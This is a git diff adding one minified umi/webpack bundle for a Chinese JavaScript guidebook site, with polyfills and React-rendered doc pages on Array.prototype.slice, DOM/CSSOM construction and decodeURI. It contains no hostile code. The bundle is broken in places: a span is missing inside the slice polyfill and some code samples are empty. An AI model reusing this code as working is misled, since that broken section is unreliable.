                                                                                                                                - + diff --git a/umi.5f4ca60e.js b/umi.5f4ca60e.js new file mode 100644 index 000000000..cddd59642 --- /dev/null +++ b/umi.5f4ca60e.js @@ -0,0 +1 @@ +(function(e){var t={};function n(a){if(t[a])return t[a].exports;var l=t[a]={i:a,l:!1,exports:{}};return e[a].call(l.exports,l,l.exports,n),l.l=!0,l.exports}n.m=e,n.c=t,n.d=function(e,t,a){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:a})},n.r=function(e){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var a=Object.create(null);if(n.r(a),Object.defineProperty(a,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var l in e)n.d(a,l,function(t){return e[t]}.bind(null,l));return a},n.n=function(e){var t=e&&e.__esModule?function(){return e["default"]}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="/javascript-guidebook/",n(n.s=0)})({"++zV":function(e,t,n){var a=n("I+eb"),l=n("eDxR"),r=n("glrk"),c=l.toKey,o=l.set;a({target:"Reflect",stat:!0},{defineMetadata:function(e,t,n){var a=arguments.length<4?void 0:c(arguments[3]);o(e,t,r(n),a)}})},"+2oP":function(e,t,n){"use strict";var a=n("I+eb"),l=n("hh1v"),r=n("6LWA"),c=n("I8vh"),o=n("UMSQ"),i=n("/GqU"),m=n("hBjN"),u=n("tiKp"),d=n("Hd5f"),s=n("rkAj"),E=d("slice"),p=s("slice",{ACCESSORS:!0,0:0,1:2}),h=u("species"),f=[].slice,g=Math.max;a({target:"Array",proto:!0,forced:!E||!p},{slice:function(e,t){var n,a,u,d=i(this),s=o(d.length),E=c(e,s),p=c(void 0===t?s:t,s);if(r(d)&&(n=d.constructor,"function"!=typeof n||n!==Array&&!r(n.prototype)?l(n)&&(n=n[h],null===n&&(n=void 0)):n=void 0,n===Array||void 0===n))return f.call(d,E,p);for(a=new(void 0===n?Array:n)(g(p-E,0)),u=0;E{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"arrayprototypeslice"},l.a.createElement(r["AnchorLink"],{to:"#arrayprototypeslice","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"Array.prototype.slice()"),l.a.createElement("p",null,l.a.createElement("code",null,"Array.prototype.slice()")," \u65b9\u6cd5\u7528\u4e8e\u6d45\u62f7\u8d1d\u6307\u5b9a\u533a\u95f4\u7684\u6570\u7ec4\u6210\u5458\u3002"),l.a.createElement("h2",{id:"\u8bed\u6cd5"},l.a.createElement(r["AnchorLink"],{to:"#\u8bed\u6cd5","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u8bed\u6cd5"),l.a.createElement("p",null,"\u8bed\u6cd5\uff1a"),l.a.createElement(c["a"],{code:"arr.slice( start [, end ] );",lang:"js"}),l.a.createElement("p",null,"\u7c7b\u578b\u58f0\u660e\uff1a"),l.a.createElement(c["a"],{code:"interface Array {\n slice(start?: number, end?: number): T[];\n}",lang:"ts"}),l.a.createElement("p",null,"\u53c2\u6570\u8bf4\u660e\uff1a"),l.a.createElement(o["a"],null,l.a.createElement("thead",null,l.a.createElement("tr",null,l.a.createElement("th",{align:"left"},"\u53c2\u6570"),l.a.createElement("th",{align:"left"},"\u8bf4\u660e"),l.a.createElement("th",{align:"left"},"\u7c7b\u578b"))),l.a.createElement("tbody",null,l.a.createElement("tr",null,l.a.createElement("td",{align:"left"},"start"),l.a.createElement("td",{align:"left"},"\u6d45\u62f7\u8d1d\u533a\u95f4\u7684\u5f00\u59cb\u7d22\u5f15"),l.a.createElement("td",{align:"left"},"number")),l.a.createElement("tr",null,l.a.createElement("td",{align:"left"},"end"),l.a.createElement("td",{align:"left"},"\u6d45\u62f7\u8d1d\u533a\u95f4\u7684\u7ed3\u675f\u7d22\u5f15\uff0c\u6d45\u62f7\u8d1d\u4e0d\u5305\u62ec\u8be5\u7d22\u5f15\u6240\u5f97\u503c"),l.a.createElement("td",{align:"left"},"number")))),l.a.createElement("p",null,"\u8fd4\u56de\u503c\uff1a"),l.a.createElement("p",null,"\u8fd4\u56de\u4e00\u4e2a\u542b\u6709\u63d0\u53d6\u5143\u7d20\u7684\u65b0\u6570\u7ec4\u3002"),l.a.createElement("h2",{id:"\u65b9\u6cd5\u8bf4\u660e"},l.a.createElement(r["AnchorLink"],{to:"#\u65b9\u6cd5\u8bf4\u660e","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u65b9\u6cd5\u8bf4\u660e"),l.a.createElement("p",null,l.a.createElement("code",null,"slice")," \u65b9\u6cd5\u4e0d\u4fee\u6539\u539f\u6570\u7ec4\uff0c\u53ea\u4f1a\u8fd4\u56de\u6d45\u62f7\u8d1d\u539f\u6570\u7ec4\u7684\u65b0\u6570\u7ec4\u3002"),l.a.createElement("p",null,"\u539f\u6570\u7ec4\u7684\u5143\u7d20\u4f1a\u6309\u7167\u4e0b\u8ff0\u89c4\u5219\u62f7\u8d1d\uff1a"),l.a.createElement("ul",null,l.a.createElement("li",null,"\u5982\u679c\u8be5\u5143\u7d20\u662f\u4e2a\u5bf9\u8c61\u5f15\u7528 \uff08\u4e0d\u662f\u5b9e\u9645\u7684\u5bf9\u8c61\uff09\uff0c",l.a.createElement("code",null,"slice")," \u4f1a\u62f7\u8d1d\u8fd9\u4e2a\u5bf9\u8c61\u5f15\u7528\u5230\u65b0\u7684\u6570\u7ec4\u91cc\u3002\u4e24\u4e2a\u5bf9\u8c61\u5f15\u7528\u90fd\u5f15\u7528\u4e86\u540c\u4e00\u4e2a\u5bf9\u8c61\u3002\u5982\u679c\u88ab\u5f15\u7528\u7684\u5bf9\u8c61\u53d1\u751f\u6539\u53d8\uff0c\u5219\u65b0\u7684\u548c\u539f\u6765\u7684\u6570\u7ec4\u4e2d\u7684\u8fd9\u4e2a\u5143\u7d20\u4e5f\u4f1a\u53d1\u751f\u6539\u53d8\u3002"),l.a.createElement("li",null,"\u5bf9\u4e8e\u5b57\u7b26\u4e32\u3001\u6570\u5b57\u53ca\u5e03\u5c14\u503c\u6765\u8bf4\uff0c",l.a.createElement("code",null,"slice")," \u4f1a\u62f7\u8d1d\u8fd9\u4e9b\u503c\u5230\u65b0\u7684\u6570\u7ec4\u91cc\u3002\u5728\u522b\u7684\u6570\u7ec4\u91cc\u4fee\u6539\u8fd9\u4e9b\u5b57\u7b26\u4e32\u6216\u6570\u5b57\u6216\u662f\u5e03\u5c14\u503c\uff0c\u5c06\u4e0d\u4f1a\u5f71\u54cd\u53e6\u4e00\u4e2a\u6570\u7ec4\u3002 \u5982\u679c\u5411\u4e24\u4e2a\u6570\u7ec4\u4efb\u4e00\u4e2d\u6dfb\u52a0\u4e86\u65b0\u5143\u7d20\uff0c\u5219\u53e6\u4e00\u4e2a\u4e0d\u4f1a\u53d7\u5230\u5f71\u54cd\u3002")),l.a.createElement("p",null,l.a.createElement("code",null,"slice()")," \u65b9\u6cd5\u6d89\u53ca\u5230 ",l.a.createElement("code",null,"Number()")," \u8f6c\u578b\u51fd\u6570\u7684\u9690\u5f0f\u7c7b\u578b\u8f6c\u6362\uff0c\u5f53 ",l.a.createElement("code",null,"start")," \u88ab\u8f6c\u6362\u4e3a ",l.a.createElement("code",null,"NaN")," \u65f6\uff0c\u76f8\u5f53\u4e8e ",l.a.createElement("code",null,"start")," \u4e3a 0\uff1b\u5f53 ",l.a.createElement("code",null,"end")," \u88ab\u8f6c\u6362\u4e3a ",l.a.createElement("code",null,"NaN")," \u65f6\uff08",l.a.createElement("code",null,"end")," \u4e3a ",l.a.createElement("code",null,"undefined")," \u9664\u5916\uff09\uff0c\u5219\u8f93\u51fa\u7a7a\u6570\u7ec4\u3002"),l.a.createElement("h2",{id:"\u4ee3\u7801\u793a\u4f8b"},l.a.createElement(r["AnchorLink"],{to:"#\u4ee3\u7801\u793a\u4f8b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u4ee3\u7801\u793a\u4f8b"),l.a.createElement("h3",{id:"\u57fa\u672c\u7528\u6cd5"},l.a.createElement(r["AnchorLink"],{to:"#\u57fa\u672c\u7528\u6cd5","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u57fa\u672c\u7528\u6cd5"),l.a.createElement(c["a"],{code:"const arr = [1, 2, 3, 4, 5];\n\narr.slice(1);\n// [2, 3, 4, 5]\n\narr.slice(0, 2);\n// [1, 2]\n\narr.slice(1, 2);\n// [2]\n\narr.slice(NaN);\n// [1, 2, 3, 4, 5]\n\narr.slice(0, NaN);\n// []\n\narr.slice(true, [3]);\n// [2, 3]\n\narr.slice(null, undefined);\n// [1, 2, 3,4, 5]\n\narr.slice({});\n// [1, 2, 3, 4, 5]\n\narr.slice('2', [5]);\n// [3, 4, 5]",lang:"js"}),l.a.createElement("h3",{id:"\u622a\u53d6\u6570\u7ec4\u6210\u5458"},l.a.createElement(r["AnchorLink"],{to:"#\u622a\u53d6\u6570\u7ec4\u6210\u5458","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u622a\u53d6\u6570\u7ec4\u6210\u5458"),l.a.createElement(c["a"],{code:"var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango'];\nvar citrus = fruits.slice(1, 3);\n\n// fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']\n// citrus contains ['Orange','Lemon']",lang:"js"}),l.a.createElement("h3",{id:"\u7c7b\u6570\u7ec4\u5bf9\u8c61"},l.a.createElement(r["AnchorLink"],{to:"#\u7c7b\u6570\u7ec4\u5bf9\u8c61","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u7c7b\u6570\u7ec4\u5bf9\u8c61"),l.a.createElement("p",null,l.a.createElement("code",null,"slice")," \u65b9\u6cd5\u53ef\u4ee5\u7528\u6765\u5c06\u4e00\u4e2a\u7c7b\u6570\u7ec4\u5bf9\u8c61\u8f6c\u6362\u6210\u4e00\u4e2a\u771f\u6b63\u7684\u6570\u7ec4\u3002\u4f60\u53ea\u9700\u5c06\u8be5\u65b9\u6cd5\u7ed1\u5b9a\u5230\u8fd9\u4e2a\u5bf9\u8c61\u4e0a\u3002"),l.a.createElement(c["a"],{code:"function list() {\n return Array.prototype.slice.call(arguments);\n}\n\nconst arr = list(1, 2, 3);\n// [1, 2, 3]",lang:"js"}),l.a.createElement("p",null,"\u9664\u4e86\u4f7f\u7528 ",l.a.createElement("code",null,"Array.prototype.slice.call(arguments)"),"\uff0c\u4f60\u4e5f\u53ef\u4ee5\u7b80\u5355\u7684\u4f7f\u7528 ",l.a.createElement("code",null,"[].slice.call(arguments)")," \u6765\u4ee3\u66ff\u3002\u53e6\u5916\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528 ",l.a.createElement("code",null,"bind")," \u6765\u7b80\u5316\u8be5\u8fc7\u7a0b\u3002"),l.a.createElement(c["a"],{code:"const unboundSlice = Array.prototype.slice;\nconst slice = Function.prototype.call.bind(unboundSlice);\n\nfunction list() {\n return slice(arguments);\n}\n\nconst arr = list(1, 2, 3);\n// [1, 2, 3]",lang:"js"}),l.a.createElement("h2",{id:"\u53c2\u8003\u8d44\u6599"},l.a.createElement(r["AnchorLink"],{to:"#\u53c2\u8003\u8d44\u6599","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u53c2\u8003\u8d44\u6599"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice"},"MDN: Array.prototype.slice")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://github.com/microsoft/TypeScript/blob/main/lib/lib.es5.d.ts"},"TypeScript: lib.es5.d.ts")))))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(i,{demos:n})}},"+6DZ":function(e,t,n){e.exports=n.p+"static/main-process-parsing-html-and-constructing-dom-tree.b7efe016.png"},"+8XX":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=n("H1Ra"),o=l.a.memo((e=>{e.demos;var t=function(){var e=n("K+nK")["default"],t=e(n("q1tI")),a=e(n("+6DZ"));return t["default"].createElement((function(){return t["default"].createElement("img",{alt:"\u6587\u6863\u5bf9\u8c61\u6a21\u578b\u56fe\u89e3",src:a["default"],width:640})}))},a=function(){var e=n("K+nK")["default"],t=e(n("q1tI")),a=e(n("mVQz"));return t["default"].createElement((function(){return t["default"].createElement("img",{alt:"\u6587\u6863\u5bf9\u8c61\u6a21\u578b\u56fe\u89e3",src:a["default"],width:640})}))},o=function(){var e=n("K+nK")["default"],t=e(n("q1tI")),a=e(n("DauV"));return t["default"].createElement((function(){return t["default"].createElement("img",{alt:"CSS \u5bf9\u8c61\u6a21\u578b\u56fe\u89e3",src:a["default"],width:640})}))};return l.a.createElement(l.a.Fragment,null,l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"\u6784\u5efa\u5bf9\u8c61\u6a21\u578b"},l.a.createElement(r["AnchorLink"],{to:"#\u6784\u5efa\u5bf9\u8c61\u6a21\u578b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u6784\u5efa\u5bf9\u8c61\u6a21\u578b"),l.a.createElement("p",null,"\u6d4f\u89c8\u5668\u6e32\u67d3\u9875\u9762\u524d\u9700\u8981\u5148\u6784\u5efa DOM \u6811\u548c CSSOM \u6811\u3002\u800c DOM \u6811 \u548c CSSOM \u6811\u662f\u57fa\u4e8e HTML \u6587\u4ef6\u548c CSS \u6587\u4ef6\u6784\u5efa\u7684\u3002")),l.a.createElement(t,null),l.a.createElement("div",{className:"markdown"},l.a.createElement("h2",{id:"\u6587\u6863\u5bf9\u8c61\u6a21\u578b"},l.a.createElement(r["AnchorLink"],{to:"#\u6587\u6863\u5bf9\u8c61\u6a21\u578b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u6587\u6863\u5bf9\u8c61\u6a21\u578b"),l.a.createElement("p",null,"\u6587\u6863\u5bf9\u8c61\u6a21\u578b\u7684\u6784\u5efa\u8fc7\u7a0b\u3002"),l.a.createElement(c["a"],{code:"\u5b57\u8282\uff08Bytes\uff09 => \u5b57\u7b26\uff08Characters\uff09 => \u4ee4\u724c\uff08Tokens\uff09 => \u8282\u70b9\uff08Nodes\uff09 => \u6587\u6863\u5bf9\u8c61\u6a21\u578b\uff08DOM\uff09",lang:"js"})),l.a.createElement(a,null),l.a.createElement("div",{className:"markdown"},l.a.createElement("ol",null,l.a.createElement("li",null,l.a.createElement("strong",null,"\u8f6c\u6362\uff1a")," \u6d4f\u89c8\u5668\u4ece\u78c1\u76d8\u6216\u7f51\u7edc\u8bfb\u53d6 HTML \u7684\u539f\u59cb\u5b57\u8282\uff0c\u5e76\u6839\u636e\u6587\u4ef6\u7684\u6307\u5b9a\u7f16\u7801\uff08\u4f8b\u5982 UTF-8\uff09\u5c06\u5b83\u4eec\u8f6c\u6362\u6210\u5404\u4e2a\u5b57\u7b26\u3002"),l.a.createElement("li",null,l.a.createElement("strong",null,"\u4ee4\u724c\u5316\uff1a")," \u6d4f\u89c8\u5668\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u6210 ",l.a.createElement(r["Link"],{to:"http://www.w3.org/TR/html5/"},"W3C HTML5 \u6807\u51c6")," \u89c4\u5b9a\u7684\u5404\u79cd\u4ee4\u724c\uff0c\u4f8b\u5982\uff0c",l.a.createElement("code",null,""),"\u3001",l.a.createElement("code",null,""),"\uff0c\u4ee5\u53ca\u5176\u4ed6\u5c16\u62ec\u53f7\u5185\u7684\u5b57\u7b26\u4e32\u3002\u6bcf\u4e2a\u4ee4\u724c\u90fd\u5177\u6709\u7279\u6b8a\u542b\u4e49\u548c\u4e00\u7ec4\u89c4\u5219\u3002"),l.a.createElement("li",null,l.a.createElement("strong",null,"\u8bcd\u6cd5\u5206\u6790\uff1a"),' \u53d1\u51fa\u7684\u4ee4\u724c\u8f6c\u6362\u6210\u5b9a\u4e49\u5176\u5c5e\u6027\u548c\u89c4\u5219\u7684"\u5bf9\u8c61"\u3002'),l.a.createElement("li",null,l.a.createElement("strong",null,"DOM \u6784\u5efa\uff1a")," \u6700\u540e\uff0c\u7531\u4e8e HTML \u6807\u8bb0\u5b9a\u4e49\u4e0d\u540c\u6807\u8bb0\u4e4b\u95f4\u7684\u5173\u7cfb\uff08\u4e00\u4e9b\u6807\u8bb0\u5305\u542b\u5728\u5176\u4ed6\u6807\u8bb0\u5185\uff09\uff0c\u521b\u5efa\u7684\u5bf9\u8c61\u94fe\u63a5\u5728\u4e00\u4e2a\u6811\u6570\u636e\u7ed3\u6784\u5185\uff0c\u6b64\u7ed3\u6784\u4e5f\u4f1a\u6355\u83b7\u539f\u59cb\u6807\u8bb0\u4e2d\u5b9a\u4e49\u7684\u7236\u9879-\u5b50\u9879\u5173\u7cfb\uff1aHTML \u5bf9\u8c61\u662f ",l.a.createElement("code",null,"body")," \u5bf9\u8c61\u7684\u7236\u9879\uff0c",l.a.createElement("code",null,"body")," \u662f ",l.a.createElement("code",null,"paragraph")," \u5bf9\u8c61\u7684\u7236\u9879\uff0c\u4f9d\u6b64\u7c7b\u63a8\u3002")),l.a.createElement("p",null,l.a.createElement("strong",null,"\u6574\u4e2a\u6d41\u7a0b\u7684\u6700\u7ec8\u8f93\u51fa\u662f\u6211\u4eec\u8fd9\u4e2a\u7b80\u5355\u9875\u9762\u7684\u6587\u6863\u5bf9\u8c61\u6a21\u578b (DOM)\uff0c\u6d4f\u89c8\u5668\u5bf9\u9875\u9762\u8fdb\u884c\u7684\u6240\u6709\u8fdb\u4e00\u6b65\u5904\u7406\u90fd\u4f1a\u7528\u5230\u5b83\u3002")),l.a.createElement("p",null,"\u6d4f\u89c8\u5668\u6bcf\u6b21\u5904\u7406 HTML \u6807\u8bb0\u65f6\uff0c\u90fd\u4f1a\u5b8c\u6210\u4ee5\u4e0a\u6240\u6709\u6b65\u9aa4\uff1a\u5c06\u5b57\u8282\u8f6c\u6362\u6210\u5b57\u7b26\uff0c\u786e\u5b9a\u4ee4\u724c\uff0c\u5c06\u4ee4\u724c\u8f6c\u6362\u6210\u8282\u70b9\uff0c\u7136\u540e\u6784\u5efa DOM \u6811\u3002\u8fd9\u6574\u4e2a\u6d41\u7a0b\u53ef\u80fd\u9700\u8981\u4e00\u4e9b\u65f6\u95f4\u624d\u80fd\u5b8c\u6210\uff0c\u6709\u5927\u91cf HTML \u9700\u8981\u5904\u7406\u65f6\u66f4\u662f\u5982\u6b64\u3002"),l.a.createElement("h2",{id:"css-\u5bf9\u8c61\u6a21\u578b"},l.a.createElement(r["AnchorLink"],{to:"#css-\u5bf9\u8c61\u6a21\u578b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"CSS \u5bf9\u8c61\u6a21\u578b"),l.a.createElement("p",null,"\u4e0e\u5904\u7406 HTML \u65f6\u4e00\u6837\uff0c\u6211\u4eec\u9700\u8981\u5c06\u6536\u5230\u7684 CSS \u89c4\u5219\u8f6c\u6362\u6210\u67d0\u79cd\u6d4f\u89c8\u5668\u80fd\u591f\u7406\u89e3\u548c\u5904\u7406\u7684\u4e1c\u897f\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u4f1a\u91cd\u590d HTML \u8fc7\u7a0b\uff0c\u4e0d\u8fc7\u662f\u4e3a CSS \u800c\u4e0d\u662f HTML\uff1a"),l.a.createElement(c["a"],{code:"\u5b57\u8282\uff08Bytes\uff09 => \u5b57\u7b26\uff08Characters\uff09 => \u4ee4\u724c\uff08Tokens\uff09 => \u8282\u70b9\uff08Nodes\uff09 => CSS \u5bf9\u8c61\u6a21\u578b\uff08CSSOM\uff09",lang:"js"}),l.a.createElement("p",null,"CSS \u5b57\u8282\u8f6c\u6362\u6210\u5b57\u7b26\uff0c\u63a5\u7740\u8f6c\u6362\u6210\u4ee4\u724c\u548c\u8282\u70b9\uff0c\u6700\u540e\u94fe\u63a5\u5230\u4e00\u4e2a\u79f0\u4e3a CSS \u5bf9\u8c61\u6a21\u578b\uff08CSSOM\uff09\u7684\u6811\u7ed3\u6784\u5185\uff1a")),l.a.createElement(o,null),l.a.createElement("div",{className:"markdown"},l.a.createElement("p",null,"CSSOM \u4e3a\u4f55\u5177\u6709\u6811\u7ed3\u6784\uff1f\u4e3a\u9875\u9762\u4e0a\u7684\u4efb\u4f55\u5bf9\u8c61\u8ba1\u7b97\u6700\u540e\u4e00\u7ec4\u6837\u5f0f\u65f6\uff0c\u6d4f\u89c8\u5668\u90fd\u4f1a\u5148\u4ece\u9002\u7528\u4e8e\u8be5\u8282\u70b9\u7684\u6700\u901a\u7528\u89c4\u5219\u5f00\u59cb\uff08\u4f8b\u5982\uff0c\u5982\u679c\u8be5\u8282\u70b9\u662f ",l.a.createElement("code",null,"body")," \u5143\u7d20\u7684\u5b50\u9879\uff0c\u5219\u5e94\u7528\u6240\u6709 ",l.a.createElement("code",null,"body")," \u6837\u5f0f\uff09\uff0c\u7136\u540e\u901a\u8fc7\u5e94\u7528\u66f4\u5177\u4f53\u7684\u89c4\u5219\uff08\u5373\u89c4\u5219",l.a.createElement("strong",null,"\u5411\u4e0b\u7ea7\u8054"),"\uff09\u4ee5\u9012\u5f52\u65b9\u5f0f\u4f18\u5316\u8ba1\u7b97\u7684\u6837\u5f0f\u3002"),l.a.createElement("p",null,"\u8fd8\u8bf7\u6ce8\u610f\uff0c\u4ee5\u4e0a\u6811\u5e76\u975e\u5b8c\u6574\u7684 CSSOM \u6811\uff0c\u5b83\u53ea\u663e\u793a\u4e86\u6211\u4eec\u51b3\u5b9a\u5728\u6837\u5f0f\u8868\u4e2d\u66ff\u6362\u7684\u6837\u5f0f\u3002\u6bcf\u6b3e\u6d4f\u89c8\u5668\u90fd\u63d0\u4f9b\u4e00\u7ec4\u9ed8\u8ba4\u6837\u5f0f\uff08\u4e5f\u79f0\u4e3a User Agent \u6837\u5f0f\uff09\uff0c\u5373\u6211\u4eec\u4e0d\u63d0\u4f9b\u4efb\u4f55\u81ea\u5b9a\u4e49\u6837\u5f0f\u65f6\u6240\u770b\u5230\u7684\u6837\u5f0f\uff0c\u6211\u4eec\u7684\u6837\u5f0f\u53ea\u662f\u66ff\u6362\u8fd9\u4e9b\u9ed8\u8ba4\u6837\u5f0f\uff08\u4f8b\u5982 ",l.a.createElement(r["Link"],{to:"http://www.iecss.com/"},"\u9ed8\u8ba4 IE \u6837\u5f0f"),"\uff09\u3002"),l.a.createElement("h2",{id:"\u53c2\u8003\u8d44\u6599"},l.a.createElement(r["AnchorLink"],{to:"#\u53c2\u8003\u8d44\u6599","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u53c2\u8003\u8d44\u6599"),l.a.createElement("ul",null,l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://www.w3.org/TR/html5/syntax.html#html-parser"},"\ud83d\udcd6 W3C The HTML syntax: Parsing HTML documents")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://www.w3.org/DOM/DOMTR"},"\ud83d\udcd6 W3C Document Object Model (DOM) Technical Reports")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/construction-of-render-tree?hl=zh-cn"},"\ud83d\udcdd Ilya Grigorik: Constructing the Object Model")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://juejin.im/post/5b0a6f1af265da0ddb63ecd9"},"\ud83d\udcdd \u6d4f\u89c8\u5668\u539f\u7406")),l.a.createElement("li",null,l.a.createElement(r["Link"],{to:"https://www.cnblogs.com/wjlog/p/5744753.html"},"\ud83d\udcdd \u524d\u7aef\u5fc5\u8bfb\uff1a\u6d4f\u89c8\u5668\u5185\u90e8\u5de5\u4f5c\u539f\u7406"))))))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(o,{demos:n})}},"+AaV":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=n("H1Ra"),o=n("dMo/"),i=l.a.memo((e=>{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"decodeuri"},l.a.createElement(r["AnchorLink"],{to:"#decodeuri","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"decodeURI"),l.a.createElement("p",null,l.a.createElement("strong",null,l.a.createElement("code",null,"decodeURI()"))," \u51fd\u6570\u7528\u4e8e\u5bf9\u5df2\u7f16\u7801\u7684\u7edf\u4e00\u8d44\u6e90\u6807\u8bc6\u7b26(URI)\u8fdb\u884c\u89e3\u7801\uff0c\u5e76\u8fd4\u56de\u5176\u975e\u7f16\u7801\u5f62\u5f0f\u3002"),l.a.createElement("p",null,"\u8be5\u51fd\u6570\u5c5e\u4e8e ",l.a.createElement("code",null,"Global")," \u5bf9\u8c61\uff0c\u6240\u6709\u4e3b\u6d41\u6d4f\u89c8\u5668\u5747\u652f\u6301\u8be5\u51fd\u6570\u3002"),l.a.createElement("h2",{id:"\u8bed\u6cd5"},l.a.createElement(r["AnchorLink"],{to:"#\u8bed\u6cd5","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u8bed\u6cd5"),l.a.createElement(c["a"],{code:"decodeURI(encodedURIString);",lang:"js"}),l.a.createElement(o["a"],null,l.a.createElement("thead",null,l.a.createElement("tr",null,l.a.createElement("th",null,"\u53c2\u6570"),l.a.createElement("th",null,"\u7c7b\u578b"),l.a.createElement("th",null,"\u8bf4\u660e"))),l.a.createElement("tbody",null,l.a.createElement("tr",null,l.a.createElement("td",null,l.a.createElement("code",null,"encodedURIString")),l.a.createElement("td",null,l.a.createElement("code",null,"String")," \u7c7b\u578b"),l.a.createElement("td",null,"\u5df2\u7f16\u7801\u7684 URI \u5b57\u7b26\u4e32")))),l.a.createElement("p",null,l.a.createElement("code",null,"decodeURI()")," \u51fd\u6570\u7684\u8fd4\u56de\u503c\u662f ",l.a.createElement("code",null,"string")," \u7c7b\u578b\uff0c\u8fd4\u56de\u4e00\u4e2a\u5df2\u7ecf\u89e3\u7801\u7684 URI\u3002"),l.a.createElement("p",null,"\u5c06\u5df2\u7f16\u7801 URI \u4e2d\u6240\u6709\u80fd\u8bc6\u522b\u7684\u8f6c\u4e49\u5e8f\u5217",l.a.createElement("strong",null,"\u8f6c\u6362\u6210\u539f\u5b57\u7b26"),"\uff0c\u4f46\u4e0d\u80fd\u89e3\u7801\u90a3\u4e9b\u4e0d\u4f1a\u88ab ",l.a.createElement("code",null,"encodeURI")," \u7f16\u7801\u7684\u5185\u5bb9\uff08\u4f8b\u5982 ",l.a.createElement("code",null,"#"),"\uff09\u3002"),l.a.createElement("h2",{id:"\u793a\u4f8b"},l.a.createElement(r["AnchorLink"],{to:"#\u793a\u4f8b","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u793a\u4f8b"),l.a.createElement(c["a"],{code:"let a = 'Hello JavaScript!';\nlet b = encodeURI(a);\n\nconsole.log(b);\n// return '%E4%BD%A0%E5%A5%BDJavascript!'\n\nlet c = decodeURI(b);\n// return '\u4f60\u597dJavascript!'",lang:"js"})))}));t["default"]=e=>{var t=l.a.useContext(r["context"]),n=t.demos;return l.a.useEffect((()=>{var t;null!==e&&void 0!==e&&null!==(t=e.location)&&void 0!==t&&t.hash&&r["AnchorLink"].scrollToAnchor(decodeURIComponent(e.location.hash.slice(1)))}),[]),l.a.createElement(i,{demos:n})}},"+HF4":function(e,t,n){"use strict";n.r(t);var a=n("q1tI"),l=n.n(a),r=n("dEAq"),c=n("H1Ra"),o=l.a.memo((e=>{e.demos;return l.a.createElement(l.a.Fragment,null,l.a.createElement("div",{className:"markdown"},l.a.createElement("h1",{id:"\u9017\u53f7\u8fd0\u7b97\u7b26"},l.a.createElement(r["AnchorLink"],{to:"#\u9017\u53f7\u8fd0\u7b97\u7b26","aria-hidden":"true",tabIndex:-1},l.a.createElement("span",{className:"icon icon-link"})),"\u9017\u53f7\u8fd0\u7b97\u7b26"),l.a.createElement("p",null,l.a.createElement("strong",null,"\u9017\u53f7\u8fd0\u7b97\u7b26")," \u662f 